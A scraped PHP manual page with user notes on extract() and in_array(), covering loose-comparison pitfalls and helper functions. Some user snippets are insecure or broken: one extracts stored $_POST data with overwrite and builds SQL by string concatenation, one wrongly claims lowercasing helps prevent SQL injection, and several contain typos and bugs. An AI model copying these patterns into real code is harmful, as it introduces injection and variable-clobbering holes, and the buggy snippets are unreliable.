Be warned that you can't write : "<?php free_args (array ('arg1' => 'val1')); ?>" because the array can't be referenced by the function, as it's not yet created when the function starts.
moslehi<atsign>gmail<d0t>c0m 20-Jan-2006 01:32
Experimentally I found that calling extract() also shows the number of keys if the key is set and is not numeric ! Maybe there was a better definition than mine  . Please have a look to this scripts :

<?PHP
$var["i"] = "a";
$var["j"] = "b";
$var["k"] = 1;
echo extract($var); // returns 3
?>

<?PHP
$var2["i"] = "a";
$var2[2] = "b";
$var2[] = 1;
echo extract($var2); // returns 1
?>

(Arash Moslehi)
Csaba at alum dot mit dot edu 27-Nov-2005 11:41
Sometimes you may want to extract only a named subset of the key/value pairs in an array.  This keeps things more orderly and could prevent an unrelated variable from getting clobbered from an errant key.  For example,

$things = 'unsaid';
$REQUEST = array(He=>This, said=>1, my=>is, info=>2, had=>a,
                 very=>3, important=>test, things=>4);
$aVarToExtract = array(my, important, info);
extract (array_intersect_key ($REQUEST, array_flip($aVarToExtract)));

will extract
$my = 'is';
$important = 'test';
$info = 2;

but will leave certain
$things = 'unsaid'

Csaba Gabor from Vienna
NB.  Of course the composite request coming in from a web page is in $_REQUEST.
anon at anon dot org 30-May-2005 12:02
A warning about extract() and null values.

This might be an actual Zend2 Engine bug, but it's bad programming practice, so I'm sharing it here instead.

I often work in envrionments where E_STRICT (which would prevent errors like this) isn't on, and I don't have access to change it. I also use a very simple template class that in a nutshell works like this:

$t = new Template('somefile.php');
$t->title = $title;
$t->body = $body;
$t->display();

display() more or less looks like this:

function display(){
    extract(get_object_vars($this),EXTR_REFS);
    ob_start(); include $this->templateFileName;
    return ob_get_clean();
}

If any of the assigned values are null (let's say that in this case $title wasn't initialized above) it causes the engine to do all sorts of incredibly whacky stuff like certifiably lose track of variables in an incredibly inconsistent way. I traced the problem down to the fact that it's using the EXTR_REFS flag. I assume that in PHP's internal variable storage or reference counting mechanism, that trying to extract null references makes it lose track or count of something or rather.

In a nutshell, if you start getting wierd behavior when using extract() make sure that the array or object you are trying to get variables out of doesn't contain null keys or values!
kake26 at gmail dot com 30-Apr-2005 08:59
The following is a neat use for extract to store and manipulate large amounts of form data from. I basically loop through the $_POST and implode it seperating the key and value pairs by a space. Then store it in a db, the reversing function basically explodes the string to a array. Then converts the indexed array to a associative array then uses extract to seal the deal and make it easily available within a program. My main reason for sharing these are the fact I make some big web applications that store allot of forum data in a DB and these functions make it very easy to quickly and easily store and recall the data. I've contributed it because I spent many hours creating this code and recall going "I wish someone had previously submitted it to the page notes". Would have saved me allot of time and agony and I'm sure I'm not the only person that could really benefit from it, so I decided to share.

<?php
$stack = array();
foreach ($_POST as $key => $value) {
array_push($stack, $key, $value);
}
// store it
$block = implode(" ",$stack); // yeilds a space delimited string
// insert query to store string in DB here, like the one below
$query = "INSERT INTO `sometable` VALUES('".$seluser."','".addslashes($block)."');";
$result = mysql_query($query) or die("Query failed for block insert: " . mysql_error());
// note $seluser in my case is a user ID associated with that block
// in one of my web apps
?>

The nice thing is with the above we can quickly create a string of key and value pairs from the data the script got. Without really caring what their names are. You know how if register globals are on you say $someformvar rather than $_POST["someformvar"]; , basically the code below reads this previous created block returns it to that state. Sort of like presistant register globals.

<?php
// insert query to grab the previously stored string here
$query = "SELECT * FROM `sometable` WHERE `blockid` = '".addslashes($bid)."';";
$result = mysql_query($query) or die("Query failed read: " . mysql_error());
$sql = mysql_fetch_array($result, MYSQL_ASSOC);
$array = eplode(" ",$sql["data"]);
for ($i = 0; $i < sizeof($array); $i+=2) {
$myassoc[$array[$i]] = isset($array[$i+1])?$array[$i+1]:NULL;
}
extract($myassoc, EXTR_OVERWRITE);
// now you're key and value pairs from $_POST have been restored
// instead of $_POST
?>
pg dot perfection at gmail dot com 14-Mar-2005 02:33
Here is a little example of how an extraction method should look like when it needs to work recursive (work on nested_arrays too)...

Note that this is only an example, it can be done more easily, and more advanced too.

<?php
/**
 * A nested version of the extract () function.
 *
 * @param    array    $array        The array which to extract the variables from
 * @param    int        $type        The type to use to overwrite (follows the same as extract () on PHP 5.0.3
 * @param    string    $prefix        The prefix to be used for a variable when necessary
 */
function extract_nested (&$array, $type = EXTR_OVERWRITE, $prefix = '')
{
    /**
     *  Is the array really an array?
     */
    if (!is_array ($array))
    {
        return trigger_error ('extract_nested (): First argument should be an array', E_USER_WARNING);
    }

    /**
     *  If the prefix is set, check if the prefix matches an acceptable regex pattern
     * (the one used for variables)
     */
    if (!empty ($prefix) && !preg_match ('#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $prefix))
    {
        return trigger_error ('extract_nested (): Third argument should start with a letter or an underscore', E_USER_WARNING);
    }

    /**
     * Check if a prefix is necessary. If so and it is empty return an error.
     */
    if (($type == EXTR_PREFIX_SAME || $type == EXTR_PREFIX_ALL || $type == EXTR_PREFIX_IF_EXISTS) && empty ($prefix))
    {
        return trigger_error ('extract_nested (): Prefix expected to be specified', E_USER_WARNING);
    }

    /**
     * Make sure the prefix is oke
     */
    $prefix = $prefix . '_';

    /**
     *  Loop thru the array
     */
    foreach ($array as $key => $val)
    {
        /**
         *  If the key isn't an array extract it as we need to do
         */
        if (!is_array ($array[$key]))
        {
            switch ($type)
            {
                default:
                case EXTR_OVERWRITE:
                    $GLOBALS[$key] = $val;
                break;
                case EXTR_SKIP:
                    $GLOBALS[$key] = isset ($GLOBALS[$key]) ? $GLOBALS[$key] : $val;
                break;
                case EXTR_PREFIX_SAME:
                    if (isset ($GLOBALS[$key]))
                    {
                        $GLOBALS[$prefix . $key] = $val;
                    }
                    else
                    {
                        $GLOBALS[$key] = $val;
                    }
                break;
                case EXTR_PREFIX_ALL:
                    $GLOBALS[$prefix . $key] = $val;
                break;
                case EXTR_PREFIX_INVALID:
                    if (!preg_match ('#^[a-zA-Z_\x7f-\xff]$#', $key{0}))
                    {
                        $GLOBALS[$prefix . $key] = $val;
                    }
                    else
                    {
                        $GLOBALS[$key] = $val;
                    }
                break;
                case EXTR_IF_EXISTS:
                    if (isset ($GLOBALS[$key]))
                    {
                        $GLOBALS[$key] = $val;
                    }
                break;
                case EXTR_PREFIX_IF_EXISTS:
                    if (isset ($GLOBALS[$key]))
                    {
                        $GLOBALS[$prefix . $key] = $val;
                    }
                break;
                case EXTR_REFS:
                    $GLOBALS[$key] =& $array[$key];
                break;
            }
        }
        /**
         *  The key is an array... use the function on that index
         */
        else
        {
            extract_nested ($array[$key], $type, $prefix);
        }
    }
}
?>
Michael Newton 02-Mar-2005 05:23
They say "If the result is not a valid variable name, it is not imported into the symbol table."

What they should say is that if _any_ of the results have invalid names, _none_ of the variables get extracted.

Under 4.3.10 on Windows 2000, I was pulling some mySQL records, but needed to convert two fields into IP addresses:
<?
extract(mysql_fetch_assoc(mysql_query('SELECT * FROM foo')));
extract(mysql_fetch_assoc(mysql_query('SELECT INET_NTOA(bar) AS bar, INET_NTOA(baz) FROM foo')));
?>

I had forgotten the second AS modifier in the SQL query.  Because it couldn't extract a variable called INET_NTOA(baz) into the symbol table, it didn't do either of them.

(BTW I don't normally stack functions up like that!  Just to make a short example!)
21-Feb-2005 07:31
To make this perfectly clear (hopefully), an underscore is always added when the string is prefixed.
extract(array("color" => "blue"),EXTR_PREFIX_ALL,'');// note: prefix is empty
is the same as
$color='_blue';
Aaron Stone 17-Nov-2004 10:44
If you are working porting an older application, and taking the advice above, extracting only _SERVER, _SESSING, _COOKIE, _POST, _GET, you have forgotten to extract _FILES. Putting _FILES last and using EXTR_SKIP doesn't work because the name of the file upload box is already set as a variable containing only the temporary name of the uploaded file from one of the earlier extracts (I haven't tested to see which one specifically, however). A workaround is to put _FILES last and use EXTR_OVERWRITE. This allows extract to replace that temp-name-only variable with the full array of file upload information.
Adam Monsen <adamm at wazamatta dot com> 02-Oct-2004 05:03
As shown in the example, if your 'prefix' is used, a single underscore is added to the name of the extracted variable. Meaning, a prefix of 'p' becomes a prefix of 'p_', so 'blarg' prefixed would be 'p_blarg'.

If you're not sure what variables you've created through extraction, you can call get_defined_vars() to see all defined variables in the current scope.
end
in_array
Array Functions


Checks if a value exists in an array

extract
key
Array Functions
PHP Manual

in_array

(PHP 4, PHP 5)

in_array — Checks if a value exists in an array

Description

bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

Searches haystack for needle using loose comparison unless strict is set.

Parameters

needle

The searched value.

Note:

If needle is a string, the comparison is done in a case-sensitive manner.

haystack

The array.

strict

If the third parameter strict is set to TRUE then the in_array() function will also check the types of the needle in the haystack.

Return Values

Returns TRUE if needle is found in the array, FALSE otherwise.

Changelog

Version | Description
4.2.0 | needle may now be an array.

Examples

Example #1 in_array() example

<?php
$os = array("Mac", "NT", "Irix", "Linux");
if (in_array("Irix", $os)) {
    echo "Got Irix";
}
if (in_array("mac", $os)) {
    echo "Got mac";
}
?>

The second condition fails because in_array() is case-sensitive, so the program above will display:

Got Irix

Example #2 in_array() with strict example

<?php
$a = array('1.10', 12.4, 1.13);

if (in_array('12.4', $a, true)) {
    echo "'12.4' found with strict check\n";
}

if (in_array(1.13, $a, true)) {
    echo "1.13 found with strict check\n";
}
?>

The above example will output:

1.13 found with strict check

Example #3 in_array() with an array as needle

<?php
$a = array(array('p', 'h'), array('p', 'r'), 'o');

if (in_array(array('p', 'h'), $a)) {
    echo "'ph' was found\n";
}

if (in_array(array('f', 'i'), $a)) {
    echo "'fi' was found\n";
}

if (in_array('o', $a)) {
    echo "'o' was found\n";
}
?>

The above example will output:

  'ph' was found
  'o' was found

See Also

  • array_search() - Searches the array for a given value and returns the corresponding key if successful
  • isset() - Determine if a variable is set and is not NULL
  • array_key_exists() - Checks if the given key or index exists in the array

User Contributed Notes

rajeevroy15 at gmail dot com dot com 30-Nov-2011 04:51
is_array function checks only array only and giving incorrect result with multi-dimensional arrays.

Here is a custom function which will give the solution to check Array or Object and Checking of multi-dimensional arrays and objects as well.

<?php

function in_object($val, $obj){

    if($val == ""){
        trigger_error("in_object expects parameter 1 must not empty", E_USER_WARNING);
        return false;
    }
    if(!is_object($obj)){
        $obj = (object)$obj;
    }

    foreach($obj as $key => $value){
        if(!is_object($value) && !is_array($value)){
            if($value == $val){
                return true;
            }
        }else{
            return in_object($val, $value);
        }
    }
    return false;
}
?>
Usage  :
<?php

$array = array("a", "b", "c"=>array("x", "y"=>array("p", "q"=>"r")));

if(in_object("r", $arrX)){
    echo "r is there ";
}else{
    echo "Its not there ";
}
?>
beingmrkenny at gmail dot com 27-Oct-2011 03:35
Loose checking returns some crazy, counter-intuitive results when used with certain arrays. It is completely correct behaviour, due to PHP's leniency on variable types, but in "real-life" is almost useless.

The solution is to use the strict checking option.

<?php

// Example array

$array = array(
    'egg' => true,
    'cheese' => false,
    'hair' => 765,
    'goblins' => null,
    'ogres' => 'no ogres allowed in this array'
);

// Loose checking -- return values are in comments

// First three make sense, last four do not

in_array(null, $array); // true
in_array(false, $array); // true
in_array(765, $array); // true
in_array(763, $array); // true
in_array('egg', $array); // true
in_array('hhh', $array); // true
in_array(array(), $array); // true

// Strict checking

in_array(null, $array, true); // true
in_array(false, $array, true); // true
in_array(765, $array, true); // true
in_array(763, $array, true); // false
in_array('egg', $array, true); // false
in_array('hhh', $array, true); // false
in_array(array(), $array, true); // false

?>
chris at axxis dot gr 26-Sep-2011 07:49
It's funny how PHP has an in_array method, but not an in_object one. Here is a simple function which will check if a value can be found within an object.

<?php
  // in_object method
  // to check if a value in an object exists.
  function in_object($value,$object) {
    if (is_object($object)) {
      foreach($object as $key => $item) {
        if ($value==$item) return $key;
      }
    }
    return false;
  }
?>

This is very useful if an object has been created dynamically (especially from external code, which you don't control, as in an application-plugin, CMS, etc), and you don't know the object's properties.
The above function will return the property, so you will be able to use it in your code later on.

Here is a very good basic example of how useful this function is!

<?php
  class My_Class {
    function __construct($key, $value) {
      $this->$key = $value;
      // As you can see, this is a dynamic class, its properties and values can be unknown...
    }
  }

  function in_object($value,$object) {
    if (is_object($object)) {
      foreach($object as $key => $item) {
        if ($value==$item) return $key;
      }
    }
    return false;
  }

  function manipulate_property($value,$object) {
    if ($property = in_object($value,$object)) {
      // value found. I can now use this property.
      // I can simply echo'it (makes no sense, as I could instead simply echo "value")
      echo "<br />I found the property holding this value: ".$object->$property;
      // or (here comes the good part)
      // change the property
      $object->$property = "This is a changed value!";
      echo "<br />I changed the value to: ".$object->$property;
      // or return it for use in my program flow
      return $property;
    } else {
      echo "Value NOT FOUND!<br />";
      return false;
    }
  }

  // imagine if some function creates the class conditionally...
  if ( 1 == 1) {
    $class = new My_Class("property","Unchanged Value");
  } else {
    $class = new My_Class("property","Some Other Value");
  }

  // now let's check if the value we want exists, and if yes, let's have some fun with it...
  $property = manipulate_property("Unchanged Value",$class);
  if ($property) {
    $my_variable = $class->$property;
    echo "<br />This is my variable now:".$my_variable;
  } else $my_variable = $some_other_variable;
?>

Just run it to see for yourself!
Lea Hayes 04-Aug-2011 05:40
Determine whether an object field matches needle.

Usage Example:
---------------

<?php
$arr = array( new stdClass(), new stdClass() );
$arr[0]->colour = 'red';
$arr[1]->colour = 'green';
$arr[1]->state  = 'enabled';

if (in_array_field('red', 'colour', $arr))
   echo 'Item exists with colour red.';
if (in_array_field('magenta', 'colour', $arr))
   echo 'Item exists with colour magenta.';
if (in_array_field('enabled', 'state', $arr))
   echo 'Item exists with enabled state.';
?>

Output:
--------
Item exists with colour red.
Item exists with enabled state.

<?php
function in_array_field($needle, $needle_field, $haystack, $strict = false) {
    if ($strict) {
        foreach ($haystack as $item)
            if (isset($item->$needle_field) && $item->$needle_field === $needle)
                return true;
    }
    else {
        foreach ($haystack as $item)
            if (isset($item->$needle_field) && $item->$needle_field == $needle)
                return true;
    }
    return false;
}
?>
Ray dot Paseur at Gmail dot com 01-Aug-2011 09:20
Be VERY careful about testing for strings in arrays that might also contain integers.  In this snippet, the range() function turns the numeric values into integers, and loose data typing finds a match with zero.

Outputs:
PHP in_array() FOUND @#%?!!
@#%?!! == 0 AT POSITION 26 BECAUSE OF LOOSE TYPE

<?php // RAY_temp_in_array.php
error_reporting(E_ALL);
echo "<pre>";

// THE ALLOWABLE SELECTIONS
$alpha = range('A','Z');
$alpha = array_merge($alpha, range('0', '9'));

// LOOK FOR A BOGUS SELECTION
$str = '@#%?!!';
if (in_array($str, $alpha))
{
    echo "PHP in_array() FOUND $str ";
}
else
{
    echo "$str IS NOT IN ARRAY";
}

// SEARCH THE ARRAY FOR THE KEY OF THE STRING
$key = array_search($str, $alpha);
echo "<br/>$str == $alpha[$key] AT POSITION $key";

if ($str == 0) echo " BECAUSE OF LOOSE TYPE";
?>
Anonymous 18-Jun-2011 12:16
known issue
when checking a string vs a integer

$testarray = array(0,1,2,3,4);

in_array("bla", $a) returns true
in_array("bla6", $a) returns true
in_array("6bla", $a) returns false

"bla" as a integer value returns the number zero
"bla6" as a integer value returns the number zero
 "6bla" returns the number six as its the only vaild part of that

if you checking for unknown types eg string vs integer
then you would need the strict value to be true.
Sascha Luedi 28-Feb-2011 09:33
strange behaviour of in_array:

If you have an array like:
<?php
$a = array(0,1,2,3,4,5);
in_array("bla", $a) returns true
in_array("bla6", $a) returns true
in_array("6bla", $a) returns false
?>

If you have an array like (without 0):
<?php
$a = array(1,2,3,4,5);
in_array("bla", $a) returns false
in_array("6bla", $a) returns false
in_array("5bla", $a) returns true
?>

so better use strict arg!
Joris Meijer 15-Feb-2011 05:31
A good option if your array contains objects and you wish to recursively search it (eg. with in_arrayr), is to use json_encode and json_decode first:

<?php

$array = json_decode(json_encode($array_with_objects), true);

?>

In my opinion this is more elegant than a recursive in_array function which converts the objects into arrays while searching for a key and/or value.
user at NOSPAM at fullservicead dot com 02-Feb-2011 08:52
After reading all other notes about performance,
I made a little test.

fill an array in a loop with random characters,
shuffle it
search on it using 4 methods.

I tried to have haystack as array and string; hence the strstr.

I tried it on 9, 99, 999, 9999 elements and the results
remain in the same order:

9999 elements

Function :  execution time in miliseconds.

strstr : 1.2994079589844
fast_in_array : 1.0655579566956
isset : 0.99128198623657 //Winner, used from another note here.
in_array : 2.9410798549652

One last detail, I moved my functions around in the script to make sure there was no memory caching, reiteration op or whatever, it's all the same. in_array is the slowest and the use of isset($array[$NEEDLE]) the fastest.

I hope it saves somebody else the trouble.
bosdilooda at gmail dot com 21-Jan-2011 12:07
There should be a big red warning sign here because this function behaves in mysterious ways...

let haystack be an array of integers:

$arr = array(1,2,3,4,5);

let $needle be a string of "2foobar"

then

in_array($needle,$arr)

will return true because string ("2foobar") evaluates to integer (2).
Sabrina 28-Nov-2010 01:29
Here's another way to get around the case-sensitive issue with in_array:

<?php
function in_arrayi($needle, $haystack)
{
    for($h = 0 ; $h < count($haystack) ; $h++)
    {
        $haystack[$h] = strtolower($haystack[$h]);
    }
    return in_array(strtolower($needle),$haystack);
}
?>

This is good for parsing URI's or preventing SQL injection.
ctulek at gmail dot com 30-Aug-2010 11:07
If you have an array like:
$arr = array(0,1,2,3,4,5);

in_array(NULL, $arr) returns true because you have 0 in your array. That is, in_array does not use === for equal check.
Willian Gustavo Veiga 16-Jun-2010 07:41
I wrote a function that search for a property value of an object in an array of objects:

<?php
function property_value_in_array($array, $property, $value) {
    $flag = false;

    foreach($array as $object) {
        if(!is_object($object) || !property_exists($object, $property)) {
            return false;
        }

        if($object->$property == $value) {
            $flag = true;
        }
    }

    return $flag;
}

$obj1 = new StdClass();
$obj2 = new StdClass();
$obj3 = new StdClass();

$obj1->name = 'Object 1';
$obj1->age = 12;

$obj2->name = 'Object 2';
$obj2->age = 13;

$obj3->name = 'Object 3';
$obj3->age = 14;

/* It returns true because there is the "14" value in the "age" property of an object within the array. */
echo property_value_in_array(array($obj1, $obj2, $obj3), 'age', 14);
?>
Svinto 22-May-2010 11:53
in_array() will always return true if a value in the haystack is of type bool(true).
This always hold except when the needle is of type bool(false).

Code:
<?php
$haystack = array(true);
$needle = "anything except bool(false)";
$result = in_array($needle, $haystack);
var_dump($result); #Will always be true
?>

Solution:
run in_array() with strict set to true.
<?php
in_array($needle, $haystack, true);
?>

Tested on PHP 5.2.6
bogdan AT bogdanconstantinescu DOT com 21-Apr-2010 08:01
If you found yourself in need of a multidimensional array in_array like function you can use the one below. Works in a fair amount of time

<?php

    function in_multiarray($elem, $array)
    {
        $top = sizeof($array) - 1;
        $bottom = 0;
        while($bottom <= $top)
        {
            if($array[$bottom] == $elem)
                return true;
            else
                if(is_array($array[$bottom]))
                    if(in_multiarray($elem, ($array[$bottom])))
                        return true;

            $bottom++;
        }
        return false;
    }
?>
jv at vip dot ie 13-Feb-2010 04:46
If you're working with very large 2 dimensional arrays (eg 20,000+ elements) it's much faster to do this...

<?php
$needle = 'test for this';

$flipped_haystack = array_flip($haystack);

if ( isset($flipped_haystack[$needle]) )
{
  print "Yes it's there!";
}
?>

I had a script that went from 30+ seconds down to 2 seconds (when hunting through a 50,000 element array 50,000 times).

Remember to only flip it once at the beginning of your code though!
natan dot volkovich at gmail dot com 30-Nov-2009 02:10
If you're trying to find out whether or not at least a single value of an array matches a value in your haystack then use "array_intersect" instead of "in_array".

<?php
$needle = array(1,2);
$haystack = array(0,1,2);

echo "in_array: ".(int)in_array($needle, $haystack); // returns 0
echo "array_intersect: ".(int)array_intersect((array)$needle, $haystack); // returns 1
?>
vladimir at vingrad dot ru 14-Nov-2009 03:14
This function has Problem with UTF-8. To solve this Problem use:

in_array( mb_strtolower($tag, "UTF-8"), $arr)
thomas dot sahlin at gmail dot com 05-Oct-2009 12:53
If you're creating an array yourself and then using in_array to search it, consider setting the keys of the array and using isset instead since it's much faster.

<?php

$slow = array('apple', 'banana', 'orange');

if (in_array('banana', $slow))
    print('Found it!');

$fast = array('apple' => 'apple', 'banana' => 'banana', 'orange' => 'orange');

if (isset($fast['banana']))
    print('Found it!');

?>
me at bubjavier dot com 14-Sep-2009 04:15
in case your haystack is undefined or not set:

<?php

$fruitExists = in_array('mango', (array) $_SESSION["fruits"]);

?>

will return false if the haystack is not an array.
robin at robinnixon dot com 25-Jul-2009 12:38
This function is five times faster than in_array(). It uses a binary search and should be able to be used as a direct replacement:

<?php
function fast_in_array($elem, $array)
{
   $top = sizeof($array) -1;
   $bot = 0;

   while($top >= $bot)
   {
      $p = floor(($top + $bot) / 2);
      if ($array[$p] < $elem) $bot = $p + 1;
      elseif ($array[$p] > $elem) $top = $p - 1;
      else return TRUE;
   }

   return FALSE;
}
?>
john at dwarven dot co dot uk 01-Jul-2009 04:34
I just struggled for a while with this, although it may be obvious to others.

If you have an array with mixed type content such as:

<?php

 $ary = array (
   1,
   "John",
   0,
   "Foo",
   "Bar"
 );

?>

be sure to use the strict checking when searching for a string in the array, or it will match on the 0 int in that array and give a true for all values of needle that are strings strings.

<?php

var_dump( in_array( 2, $ary ) );

// outputs FALSE

var_dump( in_array( 'Not in there', $ary ) );

// outputs TRUE

var_dump( in_array( 'Not in there', $ary, TRUE ) );

// outputs FALSE

?>
MarkAndrewSlade at gmail dot com 17-Apr-2009 10:46
This function will generate a PHP_NOTICE if you are looking for data of type A in an array containing data of type B if casting A to B would generate a PHP_NOTICE.  This may not be obvious.  For example:

<?php

$o = new stdClass;
$a = array(1, 2, $o);
in_array(5, $a);

?>

The output here is:

Notice: Object of class stdClass could not be converted to int in /some/script.php on line 5
Thingmand 09-Mar-2009 11:58
A little function to use an array of needles:

<?php
function array_in_array($needles, $haystack) {

    foreach ($needles as $needle) {

        if ( in_array($needle, $haystack) ) {
            return true;
        }
    }

    return false;
}
?>
brouwer dot p at gmail dot com 08-Mar-2009 02:55
If made a in_array function that checks if the specified key matches. It works recursivly so it doesn't matter how deep your input array is.
<?php
  function myInArray($array, $value, $key){
    //loop through the array
    foreach ($array as $val) {
      //if $val is an array cal myInArray again with $val as array input
      if(is_array($val)){
        if(myInArray($val,$value,$key))
          return true;
      }
      //else check if the given key has $value as value
      else{
        if($array[$key]==$value)
          return true;
      }
    }
    return false;
  }
?>
Kelvin J 28-Feb-2009 05:04
For a case-insensitive in_array(), you can use array_map() to avoid a foreach statement, e.g.:

<?php
    function in_arrayi($needle, $haystack) {
        return in_array(strtolower($needle), array_map('strtolower', $haystack));
    }
?>
selmand [at] gmail.com 13-Feb-2009 04:38
Removes same text with in_array in a string.

<?

$hizmet="aeg,akai,aeg,arcelik,aeg,arcelik,klima,kombi";

// alots of same stings

$x=explode(",",$hizmet);

$t= array();
$k=0;
for($i=0;$i<sizeof($x);$i++){ // this for remove its
    //echo $x[$i]."\n";
    if(!in_array($x[$i],$t))
    {
        $t[$k]=$x[$i];
        $k++;
    }

}

for($i=0;$i<sizeof($t);$i++){ // rebuilding $hizmet strings.

    echo $t[$i].",";

}

?>
soxred93 at gmail dot com 28-Jan-2009 01:37
Here's a simple little function I wrote that is a case insensitive version of in_array():

<?php
    function in_arrayi( $needle, $haystack ) {
        $found = false;
        foreach( $haystack as $value ) {
            if( strtolower( $value ) == strtolower( $needle ) ) {
                $found = true;
            }
        }
        return $found;
    }
?>
jordigirones at gmail dot com 21-Jan-2009 07:54
function similar to in_array but implements LIKE '<string>%'

<?php
   function in_array_like($referencia,$array){
      foreach($array as $ref){
        if (strstr($referencia,$ref)){
          return true;
        }
      }
      return false;
    }
?>
rhill at xenu-directory dot net 17-Jan-2009 01:05
I found out that in_array will *not* find an associative array within a haystack of associative arrays in strict mode if the keys were not generated in the *same order*:

<?php

$needle = array(
    'fruit'=>'banana', 'vegetable'=>'carrot'
    );

$haystack = array(
    array('vegetable'=>'carrot', 'fruit'=>'banana'),
    array('fruit'=>'apple', 'vegetable'=>'celery')
    );

echo in_array($needle, $haystack, true) ? 'true' : 'false';
// Output is 'false'

echo in_array($needle, $haystack) ? 'true' : 'false';
// Output is 'true'

?>

I had wrongly assumed the order of the items in an associative array were irrelevant, regardless of whether 'strict' is TRUE or FALSE: The order is irrelevant *only* if not in strict mode.
james dot ellis at gmail dot com 29-Oct-2008 09:17
Be aware of oddities when dealing with 0 (zero) values in an array...

This script:
<?php
$array = array('testing',0,'name');
var_dump($array);
//this will return true
var_dump(in_array('foo', $array));
//this will return false
var_dump(in_array('foo', $array, TRUE));
?>

It seems in non strict mode, the 0 value in the array is evaluating to boolean FALSE and in_array returns TRUE. Use strict mode to work around this peculiarity.
This only seems to occur when there is an integer 0 in the array. A string '0' will return FALSE for the first test above (at least in 5.2.6).
james dot randell at hotmail dot co dot uk 16-Sep-2008 02:54
Small method i built for my Array module, after looking through the manual I wanted a small compact way of making a wildcard search through an arrays values, and returning only those that it found.

<?php

    /**
     * Takes a needle and haystack (just like in_array()) and does a wildcard search on it's values.
     *
     * @param    string        $string        Needle to find
     * @param    array        $array        Haystack to look through
     * @result    array                    Returns the elements that the $string was found in
     */
    function find ($string, $array = array ())
    {
        foreach ($array as $key => $value) {
            unset ($array[$key]);
            if (strpos($value, $string) !== false) {
                $array[$key] = $value;
            }
        }
        return $array;
    }
?>
alishahnovin at hotmail dot com 02-Sep-2008 12:43
Here's a function that does an in_array, but takes wildcards in the needle, and also can be case sensitive/insensitive...

A few points:
-It doesn't use foreach, but for, which is quicker
-I didn't use regex to search with a wildcard for the reason that the needle could be unpredictable if it's user-input, and rather than having to escape metacharacters, I decided it would be easier to do a plain text comparison.
-Needles with wildcards can come in many forms such as:

Str*ng
S*r*ng*
*rng
*i*n*

so a split is being done on that string, and each part is then compared with the current item. If the first part is not found, the comparison is done, and we move on. If it IS found, we move on to the next part of the needle, while chopping off the initial part of the haystack string. This is to ensure that each comparison of a needle part is looking at the next part of the haystack string.

For example:

needle: "Bo*bo"
haystack[0] = "Bob is lazy"

On the first pass, when searching "Bo", we then modify the haystack[0] to be: "b is lazy" so that "bo" is compared with that. Otherwise, we'd be comparing "bo" with "Bob is lazy", and returning true incorrectly.

I haven't fully tested the function, so let me know if you spot any bugs, or have any questions.

<?php

function in_wildarray($needle, $haystack, $case_sensitive=true) {
    $is_wild = (strpos($needle,"*")===true)? true : false;
    $needles = ($is_wild)? explode("*", $needle) : array();
    $needle = ($case_sensitive)? $needle : strtolower($needle);
    for($i=0;$i<count($haystack);$i++) {
        $haystack_str = ($case_sensitive)? haystack[$i] : strtolower($haystack[$i]);
        if ($is_wild) {
            $found = false;
            for($x=0;$x<count($needles);$x++) {
                $needle_part = trim($needles[x]);
                $needle_index = strpos($haystack_str, $needle_part);
                if ($needle_index===false) {
                    $found = false;
                    break; //break out of the loop, because string part is not found in the haystack string
                } else {
                    $found = true;
                    //chop off the start of the string to the needle_index
                    //so we can be sure that the found items are in the correct order
                    //and we are avoiding the potential of finding duplicate characters
                    $haystack_str = substr($haystack_str, 0, $needle_index);
                }
            }
            if ($found) { return true; }
        } elseif (!$is_wild && $haystack_str == $needle) {
            return true;
        }
    }
    return false;
}

?>

As the code is right now, when there are wild cards, it will treat the initial segment as though it's preceded with a wild card. In other words, the first segment will be searched, not simply at the beginning of the string, but anywhere. Because it's a simple fix, I'll leave it to others. :)
crashrox at gmail dot com 21-Jul-2008 08:34
Recursive in array using SPL

<?php
function in_array_recursive($needle, $haystack) {

    $it = new RecursiveIteratorIterator(new RecursiveArrayIterator($haystack));

    foreach($it AS $element) {
        if($element == $needle) {
            return true;
        }
    }

    return false;
}
?>
Martijn Wieringa 19-May-2008 02:20
When using numbers as needle, it gets tricky:

Note this behaviour (3rd statement):

in_array(0, array(42)) = FALSE
in_array(0, array('42')) = FALSE
in_array(0, array('Foo')) = TRUE
in_array('0', array('Foo')) = FALSE
sick949 at hotmail dot com 05-Mar-2008 03:43
A first idea for a function that checks if a text is in a specific column of an array.
It does not use in_array function because it doesn't check via columns.
Its a test, could be much better. Do not use it without test.

<?php

function in_array_column($text, $column, $array)
{
    if (!empty($array) && is_array($array))
    {
        for ($i=0; $i < count($array); $i++)
        {
            if ($array[$i][$column]==$text || strcmp($array[$i][$column],$text)==0) return true;
        }
    }
    return false;
}

?>
guitar king 29-Jan-2008 11:52
In PHP 4, the first argument seems not allowed to be an object. In PHP 5, also objects are allowed as $needle.
f d0t fesser att gmx d0t net 16-Oct-2007 03:20
In case you have to check for unknown or dynamic variables in an array, you can use the following simple work-around to avoid misleading checks against empty and zero values (and only these "values"!):

<?php
  in_array($value, $my_array, empty($value) && $value !== '0');
?>

The function empty() is the right choice as it turns to true for all 0, null and ''.
The '0' value (where empty() returns true as well) has to be excluded manually (as this is handled by in_array correctly!).

Examples:
<?php
  $val = 0;
  $res = in_array($val, array('2007'));
?>

leads incorrectly to true where

<?php
  $val = 0;
  $res = in_array($val, array('2007'), empty($val) && $val !== '0');
?>

leads correctly to false (strict check!) while

<?php
  $val = 2007;
  $res = in_array($val, array('2007'), empty($val) && $val !== '0');
?>

still correctly finds the '2007' ($res === true) because it ignores strict checking for that value.
info at b1g dot de 02-Aug-2007 10:44
Be careful with checking for "zero" in arrays when you are not in strict mode.
in_array(0, array()) == true
in_array(0, array(), true) == false
Quaquaversal 20-May-2007 08:48
A simple function to type less when wanting to check if any one of many values is in a single array.

<?php
function array_in_array($needle, $haystack) {
    //Make sure $needle is an array for foreach
    if(!is_array($needle)) $needle = array($needle);
    //For each value in $needle, return TRUE if in $haystack
    foreach($needle as $pin)
        if(in_array($pin, $haystack)) return TRUE;
    //Return FALSE if none of the values from $needle are found in $haystack
    return FALSE;
}
?>
Bodo Graumann 16-Mar-2007 10:43
Be careful!

in_array(null, $some_array)
seems to differ between versions

with 5.1.2 it is false
but with 5.2.1 it's true!
musik at krapplack dot de 04-Jun-2006 05:52
I needed a version of in_array() that supports wildcards in the haystack. Here it is:

<?php
function my_inArray($needle, $haystack) {
    # this function allows wildcards in the array to be searched
    foreach ($haystack as $value) {
        if (true === fnmatch($value, $needle)) {
            return true;
        }
    }
    return false;
}

$haystack = array('*krapplack.de');
$needle = 'www.krapplack.de';

